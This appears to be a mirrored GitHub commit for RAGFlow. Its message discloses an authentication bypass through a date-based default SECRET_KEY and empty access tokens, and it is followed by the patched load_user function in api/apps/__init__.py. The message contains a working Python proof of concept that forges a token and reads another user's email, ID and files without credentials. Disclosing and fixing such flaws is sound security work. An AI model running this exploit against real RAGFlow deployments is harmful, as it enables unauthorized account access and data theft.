mirror of
https://github.com/infiniflow/ragflow.git
synced 2025-07-13 03:50:43 +00:00

### Description There's a critical authentication bypass vulnerability that allows remote attackers to gain unauthorized access to user accounts without any credentials. The vulnerability stems from two security flaws: (1) the application uses a predictable `SECRET_KEY` that defaults to the current date, and (2) the authentication mechanism fails to properly validate empty access tokens left by logged-out users. When combined, these flaws allow attackers to forge valid JWT tokens and authenticate as any user who has previously logged out of the system. The authentication flow relies on JWT tokens signed with a `SECRET_KEY` that, in default configurations, is set to `str(date.today())` (e.g., "2025-05-30"). When users log out, their `access_token` field in the database is set to an empty string but their account records remain active. An attacker can exploit this by generating a JWT token that represents an empty access_token using the predictable daily secret, effectively bypassing all authentication controls. ### Source - Sink Analysis **Source (User Input):** HTTP Authorization header containing attacker-controlled JWT token **Flow Path:** 1. **Entry Point:** `load_user()` function in `api/apps/__init__.py` (Line 142) 2. **Token Processing:** JWT token extracted from Authorization header 3. **Secret Key Usage:** Token decoded using predictable SECRET_KEY from `api/settings.py` (Line 123) 4. **Database Query:** `UserService.query()` called with decoded empty access_token 5. **Sink:** Authentication succeeds, returning first user with empty access_token ### Proof of Concept ```python import requests from datetime import date from itsdangerous.url_safe import URLSafeTimedSerializer import sys def exploit_ragflow(target): # Generate token with predictable key daily_key = str(date.today()) serializer = URLSafeTimedSerializer(secret_key=daily_key) malicious_token = serializer.dumps("") print(f"Target: {target}") print(f"Secret key: {daily_key}") print(f"Generated token: {malicious_token}\n") # Test endpoints endpoints = [ ("/v1/user/info", "User profile"), ("/v1/file/list?parent_id=&keywords=&page_size=10&page=1", "File listing") ] auth_headers = {"Authorization": malicious_token} for path, description in endpoints: print(f"Testing {description}...") response = requests.get(f"{target}{path}", headers=auth_headers) if response.status_code == 200: data = response.json() if data.get("code") == 0: print(f"SUCCESS {description} accessible") if "user" in path: user_data = data.get("data", {}) print(f" Email: {user_data.get('email')}") print(f" User ID: {user_data.get('id')}") elif "file" in path: files = data.get("data", {}).get("files", []) print(f" Files found: {len(files)}") else: print(f"Access denied") else: print(f"HTTP {response.status_code}") print() if __name__ == "__main__": target_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost" exploit_ragflow(target_url) ``` **Exploitation Steps:** 1. Deploy RAGFlow with default configuration 2. Create a user and make at least one user log out (creating empty access_token in database) 3. Run the PoC script against the target 4. Observe successful authentication and data access without any credentials **Version:** 0.19.0 @KevinHuSh @asiroliu @cike8899 Co-authored-by: nkoorty <amalyshau2002@gmail.com>
179 lines
5.4 KiB
Python
179 lines
5.4 KiB
Python
#
|
|
# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
|
|
#
|
|
# Licensed under the Apache License, Version 2.0 (the "License");
|
|
# you may not use this file except in compliance with the License.
|
|
# You may obtain a copy of the License at
|
|
#
|
|
# http://www.apache.org/licenses/LICENSE-2.0
|
|
#
|
|
# Unless required by applicable law or agreed to in writing, software
|
|
# distributed under the License is distributed on an "AS IS" BASIS,
|
|
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
# See the License for the specific language governing permissions and
|
|
# limitations under the License.
|
|
#
|
|
import os
|
|
import sys
|
|
import logging
|
|
from importlib.util import module_from_spec, spec_from_file_location
|
|
from pathlib import Path
|
|
from flask import Blueprint, Flask
|
|
from werkzeug.wrappers.request import Request
|
|
from flask_cors import CORS
|
|
from flasgger import Swagger
|
|
from itsdangerous.url_safe import URLSafeTimedSerializer as Serializer
|
|
|
|
from api.db import StatusEnum
|
|
from api.db.db_models import close_connection
|
|
from api.db.services import UserService
|
|
from api.utils import CustomJSONEncoder, commands
|
|
|
|
from flask_session import Session
|
|
from flask_login import LoginManager
|
|
from api import settings
|
|
from api.utils.api_utils import server_error_response
|
|
from api.constants import API_VERSION
|
|
|
|
__all__ = ["app"]
|
|
|
|
Request.json = property(lambda self: self.get_json(force=True, silent=True))
|
|
|
|
app = Flask(__name__)
|
|
|
|
# Add this at the beginning of your file to configure Swagger UI
|
|
swagger_config = {
|
|
"headers": [],
|
|
"specs": [
|
|
{
|
|
"endpoint": "apispec",
|
|
"route": "/apispec.json",
|
|
"rule_filter": lambda rule: True, # Include all endpoints
|
|
"model_filter": lambda tag: True, # Include all models
|
|
}
|
|
],
|
|
"static_url_path": "/flasgger_static",
|
|
"swagger_ui": True,
|
|
"specs_route": "/apidocs/",
|
|
}
|
|
|
|
swagger = Swagger(
|
|
app,
|
|
config=swagger_config,
|
|
template={
|
|
"swagger": "2.0",
|
|
"info": {
|
|
"title": "RAGFlow API",
|
|
"description": "",
|
|
"version": "1.0.0",
|
|
},
|
|
"securityDefinitions": {
|
|
"ApiKeyAuth": {"type": "apiKey", "name": "Authorization", "in": "header"}
|
|
},
|
|
},
|
|
)
|
|
|
|
CORS(app, supports_credentials=True, max_age=2592000)
|
|
app.url_map.strict_slashes = False
|
|
app.json_encoder = CustomJSONEncoder
|
|
app.errorhandler(Exception)(server_error_response)
|
|
|
|
## convince for dev and debug
|
|
# app.config["LOGIN_DISABLED"] = True
|
|
app.config["SESSION_PERMANENT"] = False
|
|
app.config["SESSION_TYPE"] = "filesystem"
|
|
app.config["MAX_CONTENT_LENGTH"] = int(
|
|
os.environ.get("MAX_CONTENT_LENGTH", 1024 * 1024 * 1024)
|
|
)
|
|
|
|
Session(app)
|
|
login_manager = LoginManager()
|
|
login_manager.init_app(app)
|
|
|
|
commands.register_commands(app)
|
|
|
|
|
|
def search_pages_path(pages_dir):
|
|
app_path_list = [
|
|
path for path in pages_dir.glob("*_app.py") if not path.name.startswith(".")
|
|
]
|
|
api_path_list = [
|
|
path for path in pages_dir.glob("*sdk/*.py") if not path.name.startswith(".")
|
|
]
|
|
app_path_list.extend(api_path_list)
|
|
return app_path_list
|
|
|
|
|
|
def register_page(page_path):
|
|
path = f"{page_path}"
|
|
|
|
page_name = page_path.stem.removesuffix("_app")
|
|
module_name = ".".join(
|
|
page_path.parts[page_path.parts.index("api"): -1] + (page_name,)
|
|
)
|
|
|
|
spec = spec_from_file_location(module_name, page_path)
|
|
page = module_from_spec(spec)
|
|
page.app = app
|
|
page.manager = Blueprint(page_name, module_name)
|
|
sys.modules[module_name] = page
|
|
spec.loader.exec_module(page)
|
|
page_name = getattr(page, "page_name", page_name)
|
|
sdk_path = "\\sdk\\" if sys.platform.startswith("win") else "/sdk/"
|
|
url_prefix = (
|
|
f"/api/{API_VERSION}" if sdk_path in path else f"/{API_VERSION}/{page_name}"
|
|
)
|
|
|
|
app.register_blueprint(page.manager, url_prefix=url_prefix)
|
|
return url_prefix
|
|
|
|
|
|
pages_dir = [
|
|
Path(__file__).parent,
|
|
Path(__file__).parent.parent / "api" / "apps",
|
|
Path(__file__).parent.parent / "api" / "apps" / "sdk",
|
|
]
|
|
|
|
client_urls_prefix = [
|
|
register_page(path) for dir in pages_dir for path in search_pages_path(dir)
|
|
]
|
|
|
|
|
|
@login_manager.request_loader
|
|
def load_user(web_request):
|
|
jwt = Serializer(secret_key=settings.SECRET_KEY)
|
|
authorization = web_request.headers.get("Authorization")
|
|
if authorization:
|
|
try:
|
|
access_token = str(jwt.loads(authorization))
|
|
|
|
if not access_token or not access_token.strip():
|
|
logging.warning("Authentication attempt with empty access token")
|
|
return None
|
|
|
|
# Access tokens should be UUIDs (32 hex characters)
|
|
if len(access_token.strip()) < 32:
|
|
logging.warning(f"Authentication attempt with invalid token format: {len(access_token)} chars")
|
|
return None
|
|
|
|
user = UserService.query(
|
|
access_token=access_token, status=StatusEnum.VALID.value
|
|
)
|
|
if user:
|
|
if not user[0].access_token or not user[0].access_token.strip():
|
|
logging.warning(f"User {user[0].email} has empty access_token in database")
|
|
return None
|
|
return user[0]
|
|
else:
|
|
return None
|
|
except Exception as e:
|
|
logging.warning(f"load_user got exception {e}")
|
|
return None
|
|
else:
|
|
return None
|
|
|
|
|
|
@app.teardown_request
|
|
def _db_close(exc):
|
|
close_connection()
|